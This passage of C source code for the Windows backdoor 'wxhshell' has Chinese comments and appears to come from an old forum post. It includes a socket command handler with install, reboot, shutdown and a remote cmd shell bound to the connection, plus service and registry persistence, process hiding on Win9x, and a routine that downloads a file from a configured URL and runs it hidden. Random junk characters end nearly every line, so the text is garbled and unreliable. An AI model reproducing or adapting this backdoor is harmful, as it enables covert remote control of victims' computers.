  else { 2:/u2K  
J2Y 3er  
    switch(cmd[0]) { IE@ z@+\(  
  ~e+0c'n\  
  // 帮助 IF$^ 0q  
  case '?': { '@S,V/jy0z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); HD~jU>}}  
    break; B{N=0 cSi  
  } j`+0.Zlq  
  // 安装 "h`54 }0  
  case 'i': { # s,Y% Bce  
    if(Install()) 6BR \iZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8t--#sDy{0  
    else s.bT[0Vl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @qpYDnJ:  
    break; JYl\<Z' {  
    } ,Os7T 1>  
  // 卸载 9DY|Sa]#=  
  case 'r': { D'85VZEFyo  
    if(Uninstall()) oFwG+W /  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); widI s[ )  
    else nxf {PbHk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;4R =eI  
    break; <?nB,U  
    } olHH9R9:  
  // 显示 wxhshell 所在路径 c-ttds  
  case 'p': { sio)_8tp  
    char svExeFile[MAX_PATH]; '?z9,oW{  
    strcpy(svExeFile,"\n\r"); nP5d?  
      strcat(svExeFile,ExeFile); //6^+-he  
        send(wsh,svExeFile,strlen(svExeFile),0); d~vTD|Et  
    break; +$(71#'y  
    } d"LoK,p#  
  // 重启 tru;;.lj8K  
  case 'b': { fuQ4rt[i  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (q~R5)D  
    if(Boot(REBOOT)) 5>N6VeM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P}+2>EU  
    else { _+}-H'7=  
    closesocket(wsh); V^9$t/c &  
    ExitThread(0); |K'Gw}fX/  
    } ,^n-L&  
    break; 3j]UEA^  
    } Kp$_0  
  // 关机 D9e+  
  case 'd': { Zj:a-=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $^!a`Xr  
    if(Boot(SHUTDOWN)) u'#`yTB6b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uDpf2(>s  
    else { 87&KQ_  
    closesocket(wsh); RI#lI~&)  
    ExitThread(0); Xs{:[vRW  
    } =W;t@"6>2  
    break; m]{<Ux  
    } N)9pz?*V  
  // 获取shell %"1` NT  
  case 's': { bnA T,v{  
    CmdShell(wsh); YJ &lB&xH  
    closesocket(wsh); 2]?w~qjWm  
    ExitThread(0); / c4;3>I S  
    break; !G+n"-h9'  
  } R-=_z 6<  
  // 退出 j|3g(_v4W  
  case 'x': { o+]Y=r2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); CpUI|Rs  
    CloseIt(wsh); g5lmUKlQ$0  
    break; % JgRcx  
    } iSSc5ek4  
  // 离开 j;1~=j])  
  case 'q': { [] GthF  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); j CTQ sV  
    closesocket(wsh); ^4y(pcD  
    WSACleanup(); [Ihp\!xqI  
    exit(1); va`l*N5  
    break; T#MA#H2  
        } g;u<[>'I  
  } Sb@{f<3E  
  } j AJ/  
owfp^hla  
  // 提示信息 B2ek&<I7N  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :t2 9`x  
} Z;|0"K  
  } vjOG?-  
%igFHh?  
  return; GInZ53cQ  
} *F26}q  
.g6PrhzFbk  
// shell模块句柄 Pg!;o= { M  
int CmdShell(SOCKET sock) n"^/UQ|#j  
{ CT$& zEIm  
STARTUPINFO si; wGov|[X  
ZeroMemory(&si,sizeof(si)); dv1x 78xG>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +cPE4(d  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \Owful  
PROCESS_INFORMATION ProcessInfo; nG4Uk2>  
char cmdline[]="cmd"; aTL8l.c2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vF*^xhh  
  return 0; y(aAp.S>  
} PV,kYM6  
y V 9]_k  
// 自身启动模式 Z@>=&  
int StartFromService(void) 7G<KrKal  
{ I]uOMWZs  
typedef struct (<d&BV-"  
{ 'S%} ?#J  
  DWORD ExitStatus; [*Aqy76Qa  
  DWORD PebBaseAddress; L|C1C cP  
  DWORD AffinityMask; gL[1wM%?  
  DWORD BasePriority; XEvGhy#  
  ULONG UniqueProcessId; <WQ<<s@#pb  
  ULONG InheritedFromUniqueProcessId; rm5T=fNJ  
}   PROCESS_BASIC_INFORMATION; T!^?d5uW#  
RpmBP[  
PROCNTQSIP NtQueryInformationProcess; y(bt56 | z  
hX>VVeIZ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ${E[pT  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0gwm gc/#  
?d>P+).  
  HANDLE             hProcess; n,Yr!W:h  
  PROCESS_BASIC_INFORMATION pbi; )JY_eG&2Dx  
(dLE<\E  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  &*>C PO  
  if(NULL == hInst ) return 0; dIBKE0`  
jE?\Yv3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *x*,I ,03  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (.@p4q Q-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (_i vN  
_v~D {H&}  
  if (!NtQueryInformationProcess) return 0; ')~Y  
M<#)D  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q5'yD;[hE  
  if(!hProcess) return 0; `lu"yF  
+s/N@]5nW  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sw=JUfAhy  
 s>*Q  
  CloseHandle(hProcess); c5wkzY h  
3gV&`>@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); YP$*;l  
if(hProcess==NULL) return 0; @LW xz  
]Jq k C4|  
HMODULE hMod; Bp$+ F/  
char procName[255]; t=E|RYC(k  
unsigned long cbNeeded; !CVBG *E^l  
D_ Bx>G9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); O%fp;Y{`  
|$SvD2^  
  CloseHandle(hProcess); .j:.WnW  
N?2 #YTjR  
if(strstr(procName,"services")) return 1; // 以服务启动 O yH!V&w  
@F3-Ugm  
  return 0; // 注册表启动 %!HnGwv-  
} SILvqm  
Ip7FD9 ^  
// 主模块 fa+W9  
int StartWxhshell(LPSTR lpCmdLine) $cJN9|$6  
{ avxn}*:X.  
  SOCKET wsl; $)TF,-#x  
BOOL val=TRUE; ExOB P  
  int port=0; ]"7DV3_  
  struct sockaddr_in door; u7Y'3x,`  
Io4:$w  
  if(wscfg.ws_autoins) Install(); ?lET45'  
G2yUuyAZ  
port=atoi(lpCmdLine); picP_1L  
$*v20  
if(port<=0) port=wscfg.ws_port; !6tC[W`  
?CT^Zegmr  
  WSADATA data; PkCeV]`w  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Zs5I?R1e8  
"$E!_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   SJ~I r#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); = @Nv:1:r  
  door.sin_family = AF_INET; b~haP.Cl :  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /c$Ht  
  door.sin_port = htons(port); EYx2IJ  
q5\LdI2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :oj) eS[Y  
closesocket(wsl); ?k:])^G5  
return 1; #G!Adj+p5  
} 7 NB"oU^h%  
NKUI! [  
  if(listen(wsl,2) == INVALID_SOCKET) { $vGEY7,  
closesocket(wsl); iq^L~RW5e  
return 1; !^w\$cw&  
} 18/@:u{  
  Wxhshell(wsl); M(h H#_ $  
  WSACleanup(); ;\*Od?1  
,@>rubUz  
return 0; f`9rT c  
-SY:qG3?  
} |nH0~P#!  
rIFC#Jd/  
// 以NT服务方式启动 }AsF\W+5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :D+ SY  
{ klC^xSx  
DWORD   status = 0; h%w\O Z7  
  DWORD   specificError = 0xfffffff; '3u]-GU2_  
1uge>o&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; UWWD8~:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _g`0td>N  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; NX""?"q  
  serviceStatus.dwWin32ExitCode     = 0; +81+4{*  
  serviceStatus.dwServiceSpecificExitCode = 0; q'V{vFfY%  
  serviceStatus.dwCheckPoint       = 0; ot+~|Dl  
  serviceStatus.dwWaitHint       = 0; *1)NABp6D  
T4}?w  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); o&F.mYnqX  
  if (hServiceStatusHandle==0) return; O+o%C*`K  
WJSHLy<a  
status = GetLastError(); s^t1PfP(,  
  if (status!=NO_ERROR) ' bw,K*  
{ wY ;8UN  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *T2&$W|_a  
    serviceStatus.dwCheckPoint       = 0; yg[;  
    serviceStatus.dwWaitHint       = 0; ^57fHlw  
    serviceStatus.dwWin32ExitCode     = status; cKYvRe  
    serviceStatus.dwServiceSpecificExitCode = specificError; L{0OMyUA  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); D_ZBx+/_?  
    return; S,tVOxs^  
  } 8m[L]6F(-z  
s=~7m.m  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; MJ"Mn^:/  
  serviceStatus.dwCheckPoint       = 0; "A1yqK  
  serviceStatus.dwWaitHint       = 0; iCSM1W3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4"X>_Nt6  
} gcCYXPZp  
Q|<?$.FN"8  
// 处理NT服务事件,比如:启动、停止 ?{z$ { bD  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O/^w! :z'  
{ SyVbCj  
switch(fdwControl) 2[YD&  
{ taEMr> /  
case SERVICE_CONTROL_STOP: f>+}U;)EF  
  serviceStatus.dwWin32ExitCode = 0; wG?kcfu  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; geN%rD  
  serviceStatus.dwCheckPoint   = 0; ;_\  
  serviceStatus.dwWaitHint     = 0; pbvEIa-Y4  
  { 5)v^ cR?&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gwz _b  
  } udy;Odt  
  return; q4ko}jn  
case SERVICE_CONTROL_PAUSE: 6:z&ukq E  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; R Mt vEa  
  break; _vLT!y  
case SERVICE_CONTROL_CONTINUE: WI!z92qq[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [k=9 +0p  
  break; }Z? [Ut  
case SERVICE_CONTROL_INTERROGATE: (l_de)N7  
  break; [}>6n72gNh  
}; %` [`I>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o4f9EJY   
} EF=D}"E6pO  
@Be:+01z  
// 标准应用程序主函数 aw"%B-N \  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /aa;M*Qp  
{ q.QYn.CBZz  
Iw |[*Nu-  
// 获取操作系统版本 GO3YXO33  
OsIsNt=GetOsVer(); Aq]'.J =4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Msu2OF *x  
+&zCmkVC7  
  // 从命令行安装 ye7&y4v+  
  if(strpbrk(lpCmdLine,"iI")) Install(); N,,2 VSUr  
<_q/ +x]8  
  // 下载执行文件 RWQW/Gw x  
if(wscfg.ws_downexe) {  Q<ExfJm  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) QGj5\{E_  
  WinExec(wscfg.ws_filenam,SW_HIDE); gq1Y]t|4F  
} 1WN93 SQ=  
LHz<=]?@  
if(!OsIsNt) { W}_}<rlF  
// 如果时win9x,隐藏进程并且设置为注册表启动 I3$vw7}5Y  
HideProc(); WA\f`SRF  
StartWxhshell(lpCmdLine); +i!M[  
} B[|/wHMsT}  
else $K fk=@  
  if(StartFromService()) !jq6cND  
  // 以服务方式启动 3i}B\ {  
  StartServiceCtrlDispatcher(DispatchTable); 3D dG$@  
else (3r,PS@Qq@  
  // 普通方式启动 G ]By_  
  StartWxhshell(lpCmdLine); G&3<rT3Ib  
<sB45sNbU`  
return 0; qAik$.  
}
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只看该作者 1 发表于: 2006-10-10
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